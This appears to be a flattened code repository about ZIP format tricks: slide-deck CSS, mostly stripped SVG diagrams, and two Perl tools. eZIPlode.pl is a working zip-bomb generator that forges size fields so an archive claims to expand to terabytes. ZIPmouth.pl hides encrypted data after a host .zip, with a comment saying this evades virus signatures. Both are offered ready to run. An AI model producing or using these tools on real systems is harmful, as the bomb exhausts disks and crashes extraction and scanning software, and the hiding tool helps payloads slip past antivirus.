240, 128), rgb(190, 190, 190)); 58 | background: radial-gradient(rgb(128, 240, 128), rgb(190, 190, 190)); 59 | 60 | -webkit-font-smoothing: antialiased; 61 | } 62 | 63 | b, strong { font-weight: bold } 64 | i, em { font-style: italic} 65 | 66 | a { 67 | color: inherit; 68 | text-decoration: none; 69 | padding: 0 0.1em; 70 | background: rgba(255,255,255,0.5); 71 | text-shadow: -1px -1px 2px rgba(100,100,100,0.9); 72 | border-radius: 0.2em; 73 | 74 | -webkit-transition: 0.5s; 75 | -moz-transition: 0.5s; 76 | -ms-transition: 0.5s; 77 | -o-transition: 0.5s; 78 | transition: 0.5s; 79 | } 80 | 81 | a:hover { 82 | background: rgba(255,255,255,1); 83 | text-shadow: -1px -1px 2px rgba(100,100,100,0.5); 84 | } 85 | 86 | /* enable clicking on elements 'hiding' behind body in 3D */ 87 | body { pointer-events: none; } 88 | #impress { pointer-events: auto; } 89 | 90 | /* COMMON STEP STYLES */ 91 | 92 | .step { 93 | width: 900px; 94 | padding: 40px; 95 | 96 | -webkit-box-sizing: border-box; 97 | -moz-box-sizing: border-box; 98 | -ms-box-sizing: border-box; 99 | -o-box-sizing: border-box; 100 | box-sizing: border-box; 101 | 102 | font-family: Helvetica, Arial, sans-serif; 103 | 104 | font-size: 48px; 105 | line-height: 1.5; 106 | } 107 | 108 | .step { 109 | -webkit-transition: opacity 1s; 110 | -moz-transition: opacity 1s; 111 | -ms-transition: opacity 1s; 112 | -o-transition: opacity 1s; 113 | transition: opacity 1s; 114 | } 115 | 116 | /* fade out inactive slides */ 117 | .step:not(.active) { 118 | opacity: 0.3; 119 | } 120 | 121 | /* STEP SPECIFIC STYLES */ 122 | 123 | /* hint on the first slide */ 124 | 125 | .hint { 126 | position: fixed; 127 | left: 0; 128 | right: 0; 129 | bottom: 200px; 130 | 131 | background: rgba(0,0,0,0.5); 132 | color: #EEE; 133 | text-align: center; 134 | 135 | font-size: 50px; 136 | padding: 20px; 137 | 138 | z-index: 100; 139 | 140 | opacity: 0; 141 | 142 | -webkit-transform: translateY(400px); 143 | -moz-transform: translateY(400px); 144 | -ms-transform: translateY(400px); 145 | -o-transform: translateY(400px); 146 | transform: translateY(400px); 147 | 148 | -webkit-transition: opacity 1s, -webkit-transform 0.5s 1s; 149 | -moz-transition: opacity 1s, -moz-transform 0.5s 1s; 150 | -ms-transition: opacity 1s, -ms-transform 0.5s 1s; 151 | -o-transition: opacity 1s, -o-transform 0.5s 1s; 152 | transition: opacity 1s, transform 0.5s 1s; 153 | } 154 | 155 | .impress-on-bored .hint { 156 | opacity: 1; 157 | 158 | -webkit-transition: opacity 1s 5s, -webkit-transform 0.5s; 159 | -moz-transition: opacity 1s 5s, -moz-transform 0.5s; 160 | -ms-transition: opacity 1s 5s, -ms-transform 0.5s; 161 | -o-transition: opacity 1s 5s, -o-transform 0.5s; 162 | transition: opacity 1s 5s, transform 0.5s; 163 | 164 | -webkit-transform: translateY(0px); 165 | -moz-transform: translateY(0px); 166 | -ms-transform: translateY(0px); 167 | -o-transform: translateY(0px); 168 | transform: translateY(0px); 169 | } 170 | 171 | /* impress.js title */ 172 | 173 | #title { 174 | padding: 0; 175 | } 176 | 177 | #title .try { 178 | font-size: 64px; 179 | position: absolute; 180 | top: -0.5em; 181 | left: 1.5em; 182 | 183 | -webkit-transform: translateZ(20px); 184 | -moz-transform: translateZ(20px); 185 | -ms-transform: translateZ(20px); 186 | -o-transform: translateZ(20px); 187 | transform: translateZ(20px); 188 | } 189 | 190 | #title h1 { 191 | font-size: 190px; 192 | 193 | -webkit-transform: translateZ(50px); 194 | -moz-transform: translateZ(50px); 195 | -ms-transform: translateZ(50px); 196 | -o-transform: translateZ(50px); 197 | transform: translateZ(50px); 198 | } 199 | 200 | #script-intro1 { 201 | font-size: 75px; 202 | } 203 | 204 | #definition1 { 205 | width: 1000px; 206 | font-size: 40px; 207 | } 208 | 209 | 210 | /* on overview step everything is visible */ 211 | 212 | .impress-on-overview .step { 213 | opacity: 1; 214 | cursor: pointer; 215 | } 216 | 217 | /* 218 | * SLIDE STEP STYLES 219 | * 220 | * inspired by: http://html5slides.googlecode.com/svn/trunk/styles.css 221 | * 222 | * ;) 223 | */ 224 | 225 | .slide { 226 | display: block; 227 | 228 | width: 900px; 229 | height: 700px; 230 | 231 | padding: 40px 60px; 232 | 233 | border-radius: 10px; 234 | 235 | background-color: white; 236 | 237 | box-shadow: 0 2px 6px rgba(0, 0, 0, .1); 238 | border: 1px solid rgba(0, 0, 0, .3); 239 | 240 | font-family: Helvetica, Arial, sans-serif; 241 | 242 | color: rgb(102, 102, 102); 243 | text-shadow: 0 2px 2px rgba(0, 0, 0, .1); 244 | 245 | font-size: 30px; 246 | line-height: 36px; 247 | 248 | letter-spacing: -1px; 249 | } 250 | 251 | .slide q { 252 | display: block; 253 | font-size: 50px; 254 | line-height: 72px; 255 | 256 | margin-top: 100px; 257 | } 258 | 259 | .slide q strong { 260 | white-space: nowrap; 261 | } 262 | 263 | 264 | /* IMPRESS NOT SUPPORTED STYLES */ 265 | 266 | .fallback-message { 267 | font-family: sans-serif; 268 | line-height: 1.3; 269 | 270 | display: none; 271 | width: 780px; 272 | padding: 10px 10px 0; 273 | margin: 20px auto; 274 | 275 | border-radius: 10px; 276 | border: 1px solid #E4C652; 277 | background: #EEDC94; 278 | } 279 | 280 | .fallback-message p { 281 | margin-bottom: 10px; 282 | } 283 | 284 | .impress-disabled .step, 285 | .impress-not-supported .step { 286 | position: relative; 287 | opacity: 1; 288 | margin: 20px auto; 289 | } 290 | 291 | .impress-not-supported .fallback-message { 292 | display: block; 293 | } 294 | -------------------------------------------------------------------------------- /ZIPmouth.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | #ZIPmouth 3 | use strict; 4 | use warnings; 5 | use Crypt::Rijndael; 6 | use Getopt::Long; 7 | 8 | #INIT VARS 9 | my $index = 1; #Used for looping 10 | my @characters; #used to count characters in a string 11 | my $count; #The amount of characters in a string 12 | my $decrypted; #decrypted plaintext version of data 13 | my $iv = "Jqfmc.68=-MMt;kz"; #Initialization Vector for crypto 14 | my $plaintext; #the input file is contained in here 15 | my $password = 0; #password is contained in here 16 | my $cipher; #used for crypto module 17 | my $inject = 0; #set to '1' if use wants to encrypt 18 | my $crypted; #encrypted version of data 19 | my $extract = 0; #set to '1' if user wants to decrypt 20 | my $inputfile = 0; #user supplied input file 21 | my $hostfile = 0; #user supplied host file (a pure .zip) 22 | my $outputfile = 0; #user supplied output file 23 | my $verbose = 0; #set to '1' if user wants verbosity 24 | my $insane = 0; #set to '1' if user input doesn't make sense 25 | my $hostdata; 26 | 27 | getoptions(); #Gets user supplied options 28 | docs(); #Prints documentation if there are no valid options present 29 | sanity(); #makes sure the options aren't retarded 30 | filehandles(); #sets up the file handles 31 | setcipher(); #sets up the crypto cipher 32 | 33 | if ($inject eq 1) { #if user wants to encrypt, call encrypt(); 34 | encrypt(); 35 | } 36 | 37 | if ($extract eq 1) { #if user wants to decrypt, call decrypt(); 38 | decrypt(); 39 | } 40 | 41 | ################################## End of Program ########################################### 42 | 43 | sub filehandles { 44 | if ($inject eq 1) { #If user wants to encrypt, the input file would be plaintext 45 | open PLAIN, "$inputfile"; 46 | } else { #otherwise, it would be crypted 47 | open CRYPT, "$inputfile"; 48 | } 49 | open HOST, "$hostfile"; 50 | open OUT, ">$outputfile"; #output filehandle is OUT 51 | } 52 | 53 | sub getoptions { 54 | GetOptions('password=s' => \$password, #get password 55 | 'inject' => \$inject, #encrypt? 56 | 'extract' => \$extract, #decrypt? 57 | 'infile=s' => \$inputfile, #input file 58 | 'outfile=s' => \$outputfile, #output file 59 | 'hostfile=s' => \$hostfile, #.zip host file 60 | 'verbose' => \$verbose,) 61 | } 62 | 63 | sub setcipher { 64 | while (1) { #padding routine 65 | @characters = split //, $password; #@characters array has each individual character of password 66 | $count = @characters; #counts those caracters 67 | last if $count % 32 == 0; #if the password is the keysize (32), then we're good 68 | $password .= "X"; #otherwise, pad an "X" at the end and check again 69 | } #lame, I know, but it works great, and is still secure enough 70 | $cipher = Crypt::Rijndael->new( $password, Crypt::Rijndael::MODE_CBC() ); #get the cipher 71 | $cipher -> set_iv($iv); #set the IV 72 | } 73 | 74 | sub encrypt { 75 | 76 | $/=undef; #Fuck newlines 77 | $plaintext = ; #put the whole plaintext file into $plaintext 78 | $hostdata = ; #get original .zip into hostdata var 79 | $/="\n"; #Ok, newlines are cool again 80 | if ($password ne "0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") { 81 | while (1) { 82 | @characters = split //, $plaintext; #padding routine again. To encrypt, the input data has to be in 83 | $count = @characters; #multiples of 16 bytes. If it's not, it just adds 'X's until 84 | last if $count % 16 == 0; #it is divisible by 16. The decryption has to parse this shit 85 | $plaintext .= "X"; #out though. It's not perfect yet. If your plaintext ended in 86 | } #The letter 'X'...too bad, it wont after decryption, meh, my 87 | #code sucks, get over it. 88 | $crypted = $cipher->encrypt($plaintext); #Encrypt the data 89 | print OUT "$hostdata"; 90 | print OUT "\x50\x4b\x13\x37"; 91 | print OUT "$crypted"; #put it in our output file after the zip file contents 92 | } else { 93 | print OUT "$hostdata"; 94 | print OUT "\x50\x4b\x13\x37"; 95 | print OUT "$plaintext"; 96 | } 97 | } 98 | 99 | sub decrypt { 100 | $/=undef; #Fuck newlines 101 | $crypted = ; #put the whole encrypted file into $crypted 102 | $/="\n"; #Ok, newlines are cool again 103 | if ($password ne "0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") { 104 | if ($crypted =~ /\x50\x4b\x13\x37(.+)$/s) {; #replace Header+Data+Footer with nothing; removes virus sig 105 | $decrypted = $cipher -> decrypt($1); #decrypt it now 106 | $decrypted =~ s/\nX+//; #get rid of the padded X's and a newline 107 | $decrypted .= "\n"; #add newline back in 108 | print OUT $decrypted; #output the decrypted data to a file 109 | } else {print "no match1\n";} 110 | } else { 111 | if ($crypted =~ /\x50\x4b\x13\x37(.+)$/s) {; 112 | print OUT $1;; 113 | } else {print "no match2\n";} 114 | } 115 | } 116 | 117 | sub docs { #if no options are selected, print this information on how to use the tool 118 | if (($password eq 0) && ($inject eq 0) && ($extract eq 0) && ($inputfile eq 0) && ($outputfile eq 0)) { 119 | print "\nZIPmouth\n"; 120 | print "Usage: ZIPmouth.pl {--password=userdefined} {encode/decode --inject or --extract}\n"; 121 | print "\t{--infile=file.ext} {--outfile=file.ext}\n"; 122 | print "\n"; 123 | print "OPTIONS:\n"; 124 | print "\t--verbose: Increases verbosity of output\n"; 125 | print "\t--password: enter a password to protect the encrypted message\n"; 126 | print "\t--inject: This option encrypts a message\n"; 127 | print "\t--extract: This option decrypts a message\n"; 128 | print "\t--infile: If encrypting, this is the 'plaintext' file. If decrypting, it is the encrypted\n"; 129 | print "\t\t.zip file.\n"; 130 | print "\t--hostfile: This is the .zip file we will be attaching our encrypted data to\n"; 131 | print "\t--outfile: If encrypting, this is the output .zip file, if decrypting, it is the\n"; 132 | print "\t\t'plaintext' file you would like to output into.\n"; 133 | print "EXAMPLES:\n"; 134 | print "\tZIPmouth.pl --password=password --inject --infile=plaintext.txt --outfile=compressed.zip --hostfile=r.zip\n"; 135 | print "\t\tThis encrypts plaintext.txt with password of 'password' and saves it in compressed.zip\n"; 136 | print "\tZIPmouth.pl --password=password --extract --infile=compressed.zip --outfile=plaintext2.txt\n"; 137 | print "\t\tThis decrypts the message in compressed.zip with password of 'password' and\n"; 138 | print "\t\toutputs the message to plaintext2.txt\n"; 139 | exit 0; 140 | } 141 | } 142 | 143 | sub sanity { 144 | if (($inject eq 1) && ($extract eq 1)) { #if user is trying to encrypt and decrypt at the same time 145 | print "You can't encrypt and decrypt at the same time\n\n"; 146 | $insane = 1; 147 | } 148 | 149 | if ($inputfile eq 0) { #if user didn't provide an input file 150 | print "You need an input file, whether it's a plaintext or crypted file\n"; 151 | print "The option for that is infile=input.file\n\n"; 152 | $insane = 1; 153 | } 154 | 155 | if ($outputfile eq 0) { #if user didn't provide an output file 156 | print "You need an output file, whether it's a crypted or plaintext file\n"; 157 | print "The option for that is outfile=output.file\n\n"; 158 | $insane = 1; 159 | } 160 | 161 | if ($insane) { #quit if any of the above happened 162 | exit 0; 163 | } 164 | 165 | if (-e $outputfile) { #if output file already exists, see if user meant this 166 | print "Hey, $outputfile already exists, proceed anyway?\n"; 167 | my $choice = ; 168 | chomp $choice; 169 | if ($choice !~ /^y(\w+)?/i) { 170 | print "Ok, just make sure you run again with one that doesn't exist\n"; 171 | exit 0; 172 | } 173 | } 174 | 175 | if (-e $inputfile) { #if the input file doesn't exist, let them know of their typo 176 | } else { 177 | print "The file '$inputfile' doesn't exist, try another file.\n"; 178 | exit 0; 179 | } 180 | 181 | } 182 | -------------------------------------------------------------------------------- /art/eziplode_05footer.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 27 | 32 | 33 | 40 | 45 | 46 | 53 | 58 | 59 | 66 | 71 | 72 | 73 | 92 | 94 | 95 | 97 | image/svg+xml 98 | 100 | 101 | 102 | 103 | 104 | 108 | 117 | 132 | Footer 144 | PK Footer SignaturePointer to internal memory location where mid-metadata startsTotal file size of all mid-metadata 168 | 173 | 178 | 183 | 184 | 185 | -------------------------------------------------------------------------------- /art/eziplode_03header.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 27 | 32 | 33 | 40 | 45 | 46 | 53 | 58 | 59 | 66 | 71 | 72 | 73 | 92 | 94 | 95 | 97 | image/svg+xml 98 | 100 | 101 | 102 | 103 | 104 | 108 | 113 | Header 1 125 | 134 | PK LabelCompatible Archive Software VersionCompression MethodUnix Time CodeCRC (only applies to compressed data)Compressed File-SizeUncompressed File-SizeFile-Name 184 | 189 | 194 | 199 | 204 | 209 | 214 | 219 | 224 | 225 | 226 | -------------------------------------------------------------------------------- /art/eziplode_01normalfile.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 27 | 32 | 33 | 40 | 45 | 46 | 53 | 58 | 59 | 66 | 71 | 72 | 73 | 92 | 94 | 95 | 97 | image/svg+xml 98 | 100 | 101 | 102 | 103 | 104 | 108 | 116 | 124 | 129 | File Data 141 | Meta Data 153 | 161 | just data... 172 | File Size 183 | File Name 194 | File Date 205 | Permissions 216 | 221 | 226 | 231 | 236 | 241 | 242 | 243 | -------------------------------------------------------------------------------- /art/EICAR.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 27 | 28 | 46 | 48 | 49 | 51 | image/svg+xml 52 | 54 | 55 | 56 | 57 | 58 | 62 | 73 | 83 | 93 | EICAR 105 | 115 | Trojan 127 | 137 | Virus 149 | 159 | 169 | EICAR 181 | 191 | Trojan 203 | 213 | Virus 225 | Malware Signature with EICAR in the lead 237 | EICAR in the back 259 | Unusual Discovery: AV is Hungry for EICAR 271 | 272 | 273 | -------------------------------------------------------------------------------- /art/id3.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 38 | 40 | 41 | 43 | image/svg+xml 44 | 46 | 47 | 48 | 49 | 50 | 55 | ID3ID3ID3ID3ID3ID3ID3ID3ID3ID3 67 | 75 | 00000000.mp3: 30 bytes 86 | 00000001.mp3: 27 bytes 97 | 00000002.mp3: 24 bytes 108 | 00000003.mp3: 21 bytes 119 | 00000004.mp3: 18 bytes 130 | 00000005.mp3: 15 bytes 141 | 00000006.mp3: 12 bytes 152 | 00000007.mp3: 9 bytes 163 | 00000008.mp3: 6 bytes 174 | 00000009.mp3: 3 bytes 185 | ID3.dd: 30 bytes 197 | 202 | 207 | 212 | 217 | 222 | 227 | 232 | 237 | 242 | 247 | 165 bytes 259 | 260 | 261 | -------------------------------------------------------------------------------- /eZIPlode.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use strict; 3 | use warnings; 4 | use Getopt::Long; 5 | use Time::HiRes; 6 | 7 | print "\neZiplode Version 0.17\n"; 8 | 9 | my $repeats = 1; #only once if value not provided 10 | my $filenames = "dvd"; #default name for the file internal file names; file0034.txt 11 | my $fileext = "iso"; #default extention name for internal files; file1.txt 12 | my $filename = "eZIPlode.zip"; #default output file name if none is chosen 13 | my $file_date = "\x3f\x65\xbd\x4e"; #Default date in meta-data 14 | my $nohelp = 0; 15 | GetOptions('amount=s' => \$repeats, 16 | 'filenames=s' => \$filenames, 17 | 'fileext=s' => \$fileext, 18 | 'outfile=s' => \$filename, 19 | 'date=s' => \$file_date, 20 | 'nohelp' => \$nohelp); 21 | 22 | if ($nohelp ne 1) { infoscreen();} #print help, unless otherwise told on CLI 23 | 24 | #When did program start 25 | my $start = Time::HiRes::time(); 26 | 27 | if ($file_date ne "\x3f\x65\xbd\x4e") { 28 | $file_date = printhex_32($file_date); 29 | } 30 | my $file_serial = ""; #Intialize amount of serial digits after internal file names 31 | my $file_serial_digits; #throwaway variable used in getserial() function 32 | my $n; #throwaway variable used in while loops 33 | my $mid_offset = printhex_32(0); #initialize the first mid_offset to 0 34 | getserial(); 35 | my $nullname = "$filenames". $file_serial. ".$fileext"; 36 | my $filelength = printhex_16(length($nullname)); 37 | my $end_size; 38 | my $end_offset; 39 | my $zipsize; 40 | my $explodedsize; 41 | 42 | 43 | open(FILE,">>$filename") || die "\t\tCould not open file\n$!\n"; 44 | 45 | ##This is the main loop that creates the .zip file 46 | head(); #inject header 47 | file(); #inject file 48 | 49 | $n=0; #initialize counter 50 | $file_serial = ""; #initialize serial digits again for next round of mid headers 51 | getserial(); #get the amount of digits we need again 52 | #This loop injects the mid headers and file metadata peices, it dynamically calculates offsets as well 53 | while ($n < $repeats) { #do this loop for however many files the user wants 54 | mid(); #inject mid header 55 | $nullname = "$filenames". $file_serial. ".$fileext"; #update filename 56 | midfile(); #inject mid metadata file 57 | # $mid_offset = printhex_32((4168202+length($nullname)+30)*$n); #offset = (compressed file size + length of file name + 1st header length) * amount of files up to this point 58 | $file_serial++; #increment serial number for the filename 59 | $n++ #increment loop 60 | } 61 | 62 | 63 | #do all of the footer magic 64 | my $end_files = printhex_16($repeats); #amount of files 65 | $end_size = printhex_32((24+length($nullname)+46)*$repeats); #midfile+filenamelength+mid multiplied by the amount of files 66 | $end_offset = printhex_32((4168202+length($nullname)+30));#*$repeats); #pretty much the same formula for mid_offset, times the amount of files 67 | end(); #inject the footer 68 | 69 | 70 | 71 | 72 | #Now we have all the subroutines for injecting the head, midhead, end(footer), file, and midfile (metadata) 73 | sub head { 74 | ###---Head---### 75 | #Generally 30 bytes in length 76 | my $head_sig = "\x50\x4b\x03\x04"; #Local File Header Signature 77 | my $head_ver = "\x14\x00"; #Minimum zip version needed to extract 78 | my $head_flag = "\x02\x00"; #General Purpose bit flag 79 | my $head_method = "\x08\x00"; #Compression Method 80 | my $head_modtime= $file_date; #Unix timecode; 11:11am 11-11-11 81 | my $head_crc = "\xb3\xb1\x6e\x98"; #Check Sum 82 | my $head_csize = "\xee\x99\x3f\x00"; #Reported Compressed Size 83 | my $head_usize = "\xf0\xff\xff\xff"; #Reported Uncompressed Size 84 | my $head_fnl = $filelength; #File Name Length 85 | my $head_efl = "\x1c\x00"; #Extra Field Length 86 | my $head = $head_sig.$head_ver.$head_flag.$head_method.$head_modtime.$head_crc. 87 | $head_csize.$head_usize.$head_fnl.$head_efl; 88 | print FILE $head; 89 | } 90 | 91 | sub mid { 92 | ###---Mid---### 93 | #Generally 46 bytes in length 94 | my $mid_sig = "\x50\x4b\x01\x02"; #Local File Header Signature (for mid) 95 | my $mid_verm = "\x1e\x03"; #Version Made by 96 | my $mid_ver = "\x14\x00"; #Minimum zip version needed to extract 97 | my $mid_flag = "\x02\x00"; #General Purpose bit flag 98 | my $mid_method = "\x08\x00"; #Compression Method 99 | my $mid_modtime = $file_date; #Unix timecode; 11:11am 11-11-11 100 | my $mid_crc = "\xb3\xb1\x6e\x98"; #Check Sum 101 | my $mid_csize = "\xee\x99\x3f\x00"; #Reported Compressed Size 102 | my $mid_usize = "\xf0\xff\xff\xff"; #Reported Uncompressed Size 103 | my $mid_fnl = $filelength; #File Name Length 104 | my $mid_efl = "\x18\x00"; #Extra Field Length 105 | my $mid_coml = "\x00\x00"; #File Comment Lenth 106 | my $mid_dnum = "\x00\x00"; #Disk number where file starts 107 | my $mid_iattr = "\x00\x00"; #Internal File Attributes 108 | my $mid_eattr = "\x00\x00\xa4\x81"; #External File Attributes 109 | my $mid = $mid_sig.$mid_verm.$mid_ver.$mid_flag.$mid_method.$mid_modtime.$mid_crc. 110 | $mid_csize.$mid_usize.$mid_fnl.$mid_efl.$mid_coml.$mid_dnum.$mid_iattr. 111 | $mid_eattr.$mid_offset; 112 | print FILE $mid; 113 | } 114 | 115 | sub end { 116 | ###---End---### 117 | #Generally 22 bytes bytes in length 118 | my $end_sig = "\x50\x4b\x05\x06"; #Local File Header Signature (for end) 119 | my $end_dnum = "\x00\x00"; #Number of this disk 120 | my $end_dstart = "\x00\x00"; #Disk where central directory starts 121 | my $end_coml = "\x00\x00"; #File Comment Length 122 | my $end = $end_sig.$end_dnum.$end_dstart.$end_files.$end_files.$end_size.$end_offset.$end_coml; 123 | print FILE $end; 124 | } 125 | 126 | sub file { 127 | ###---File---### 128 | #$file is about 4 Megabytes of data (compressed) 129 | #OR 4168202 bytes plus filename size 130 | #This crazy hex shit isn't meant to be readable; it was derived from reverse engineering 131 | #a real .zip file. 132 | my $peice01 = $nullname."\x55\x54\x09\x00\x03".$file_date."\xa7\xa1\x8a\x4f\x75". 133 | "\x78\x0b\x00\x01\x04\xf6\x03\x00\x00\x04\xf7\x03\x00\x00\xec\xc1". 134 | "\x31\x11\x00\x20\x0c\x04\xb0\x9f\x51\x81\x94\xae\xa8\x42\x0f\x5e". 135 | "\x50\xc4\xd4\xc3\x47\x92\xe4\x8c\xbb\x93\x5a\x2f\xdf\x0c"; 136 | my $peice02 = "\x00" x 8187; 137 | my $peice03 = "\x40\xb3\x07\x07\x02\x00\x00\x00\x00\x40\xfe\xaf\x8d\xa0"; 138 | my $peice04 = "\xaa" x 8191; 139 | my $peice05 = "\xc2\x1e\x1c\x08\x00\x00\x00\x00\x00\xf9\xbf\x36\x82" . $peice04; 140 | my $peice06 = "\x0a\x7b\x70\x20\x00\x00\x00\x00\x00\xe4\xff\xda\x08" . $peice04; 141 | my $peice07 = "\x2a\xec\xc1\x81\x00\x00\x00\x00\x00\x90\xff\x6b\x23\xa8" . $peice04; 142 | my $peice08 = "\xb0\x07\x07\x02\x00\x00\x00\x00\x40\xfe\xaf\x8d\xa0" . $peice04; 143 | my $peice09 = $peice05.$peice06.$peice07.$peice08; 144 | my $peice10 = $peice09 x 126; 145 | my $peice11 = $peice05.$peice06; 146 | my $peice12 = "\x2a\xed\xc1\x01\x01\x00\x00\x00\x80\x90\xff\xaf\x1b\x12"; 147 | my $peice13 = "\x00" x 384; 148 | my $peice14 = "\xe0\x26"; 149 | my $file = $peice01.$peice02.$peice03.$peice04.$peice10.$peice11.$peice12.$peice13.$peice14; 150 | print FILE $file; 151 | } 152 | 153 | sub midfile { 154 | #Data reported to archive software about file (Metadata) 155 | ###---Meta File---### 156 | #Typically 24 bytes + bytes for filesize 157 | my $midfile = $nullname."\x55\x54\x05\x00\x03".$file_date."\x75\x78". 158 | "\x0b\x00\x01\x04\xf6\x03\x00\x00\x04\xf7\x03\x00\x00"; 159 | print FILE $midfile; 160 | } 161 | 162 | #Routine for getting a decimal number and returning it's hexadecimal 2-byte stupid-endian equivilant 163 | sub printhex_16 { 164 | my $value = shift; #get the value passed to it 165 | my $return; #make a return variable 166 | $value = sprintf("%.4X\n", $value); #get an "ASCII HEX" version of the value 167 | if ($value =~ /(.)(.)(.)(.)/) { #parse out each character 168 | $return = pack("C*", map { $_ ? hex($_) :() } $3.$4) . pack("C*", map { $_ ? hex($_) :() } $1.$2); #unpack it 169 | } 170 | return $return; #return the hex data 171 | } 172 | 173 | #Routine for getting a decimal number and returning it's hexadecimal 4-byte stupid-endian equivilant 174 | sub printhex_32 { 175 | my $value = shift; #get the value passed to it 176 | my $return; #make a return variable 177 | $value = sprintf("%.8X\n", $value); #get an "ASCII HEX" version of the value 178 | if ($value =~ /(.)(.)(.)(.)(.)(.)(.)(.)/) { #parse out each character 179 | $return = pack("C*", map { $_ ? hex($_) :() } $7.$8) . pack("C*", map { $_ ? hex($_) :() } $5.$6) . 180 | pack("C*", map { $_ ? hex($_) :() } $3.$4) . pack("C*", map { $_ ? hex($_) :() } $1.$2); #unpack it 181 | } 182 | return $return; #return the hex data 183 | } 184 | 185 | #This will figure out how many digits to append to a file name. If we had 15 files; it would go from 00-14. If we had 186 | #over 9000 files, it would go from 0000-9xxx. 187 | sub getserial { 188 | $file_serial_digits = $repeats; #grab a destroyable value for our amount of files 189 | while ($file_serial_digits > 1) { #Is there another digit 190 | $file_serial = $file_serial . "0"; #the first trailing 0 is a freebie (but it appends another 0 each time through the loop 191 | $file_serial_digits = $file_serial_digits / 10; #divide by 10; see if we have another digit 192 | } 193 | } 194 | 195 | sub dataformat($) { 196 | my $byt = shift; 197 | $byt >= 1073741824 ? sprintf("%0.2f GB", $byt/1073741824) 198 | : $byt >= 1048576 ? sprintf("%0.2f MB", $byt/1048576) 199 | : $byt >= 1024 ? sprintf("%0.2f KB", $byt/1024) 200 | : $byt . " bytes"; 201 | } 202 | 203 | close(FILE); 204 | print "eZIPloded!!!\n"; 205 | 206 | sub infoscreen { 207 | print "\nDESCRIPTION: This is an archive exploder script. If you've ver seen 42.zip,\n"; 208 | print "\tthis script produces a .zip file in a similar spirit; It makes a .zip\n"; 209 | print "\tfile potentially larger than any modern commercial hard-drive could\n"; 210 | print "\textract. Depending on the --amount you select, it could be anywhere\n"; 211 | print "\tfrom 4 GB to 256 TB. One notable difference between this exploder and\n"; 212 | print "\t42.zip is that the directory structure is flat; otherwise 'extract-all'\n"; 213 | print "\twould not be as effective\n\n"; 214 | print "USAGE: eZIPlode.pl [--options]\n\n"; 215 | print "OPTIONS:\n"; 216 | print "--nohelp: This option skips THIS help screen\n"; 217 | print "--amount: This is the amount of internal files to include, the more the better.\n"; 218 | print "\tKeep in mind that normal .zip has a 65535 file limit.\n"; 219 | print "--filenames: This sets the file name of internal files; if you said 'DVD', then\n"; 220 | print "\tfiles would look like DVD000.iso, DVD001.iso, DVD002.iso, etc...\n"; 221 | print "--fileext: This is the file extension for the internal files; if you said 'img',\n"; 222 | print "\tthen files would look like DVD000.img, DVD001.img, etc...\n"; 223 | print "--outfile: This is the file name of the output zip file. By default it is\n"; 224 | print "\teZIPlode.zip\n"; 225 | print "--date: This is the date you want in the file metadata, by default it is\n"; 226 | print "\t11:11 AM on November 11 of 2011 (11-11-11)...\n"; 227 | print "\nEXAMPLES:\n"; 228 | print "Example 1: eZIPlode.pl\n"; 229 | print "\tNotice that you don't need any options, defaults are provided otherwise.\n"; 230 | print "Example 2: eZIPload.pl --nohelp --amount=9001 --filenames=DCIM --fileext=jpg\n"; 231 | print "\t\t--outfile=pictures.zip --date=1\n"; 232 | print "\tThis will make a zip file called pictures.zip that have more than 9000\n"; 233 | print "\tfiles that look like DCIM0000.jpg, DCIM0001.jpg, etc. They will look\n"; 234 | print "\tlike they were created in '69 since the --date field is a UNIX like\n"; 235 | print "\ttimestamp, and you will also skip this help screen.\n"; 236 | print "\nPress Enter to start the script: "; 237 | if (<> ne \00) {clear(); return;} 238 | } 239 | 240 | #Clear the screen 241 | sub clear { 242 | print "\033[2J"; #\ 243 | print "\033[0;0H"; # clear screen hack 244 | } 245 | 246 | $zipsize = 4168338 + ($repeats * 80); 247 | #$explodedsize; 248 | print "ZIP Size is: " . dataformat($zipsize) . "\n"; 249 | print "Total Uncompressed size would be: " . dataformat($repeats * 4294967280) . "\n"; 250 | 251 | 252 | #When did program finish 253 | my $end = Time::HiRes::time(); 254 | $end = $end - $start; 255 | print "Finished in "; 256 | printf '%.2f', "$end"; 257 | print " seconds\n"; 258 | -------------------------------------------------------------------------------- /art/stegobin.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 38 | 40 | 41 | 43 | image/svg+xml 44 | 46 | 47 | 48 | 49 | 50 | 54 | 62 | 70 | 78 | 86 | 94 | 102 | 110 | 118 | 126 | 134 | 142 | 150 | 158 | 166 | 174 | 182 | 190 | 010 201 | 010 212 | 000 223 | 100 234 | 111 245 | 101 256 | 010 267 | 000 278 | 010 289 | 001 300 | 010 311 | 010 322 | 001 333 | 100 344 | 111 355 | 001 366 | 367 | 368 | -------------------------------------------------------------------------------- /art/eziplode_04mids1.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 27 | 32 | 33 | 40 | 45 | 46 | 53 | 58 | 59 | 66 | 71 | 72 | 73 | 92 | 94 | 95 | 97 | image/svg+xml 98 | 100 | 101 | 102 | 103 | 104 | 108 | 117 | 132 | mid-metadata 148 | PK Mid SignatureSig for what archiver made this fileCompatible Archive Software VersionCompression MethodUnix Time CodeCRC (only applies to compressed data)Compressed File-SizeUncompressed File-SizeFile-NameComment LengthPointer to internal memory location this file starts atFile Attributes 208 | 233 | 238 | 243 | 248 | 253 | 258 | 263 | 268 | 273 | 278 | 283 | 288 | 289 | 290 | -------------------------------------------------------------------------------- /art/eziplode_07offsets.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 27 | 32 | 33 | 40 | 45 | 46 | 53 | 58 | 59 | 66 | 71 | 72 | 73 | 92 | 94 | 95 | 97 | image/svg+xml 98 | 100 | 101 | 102 | 103 | 104 | 108 | 113 | 118 | Header 1 130 | 142 | 1st CompressedFile 158 | 174 | 179 | 184 | 189 | 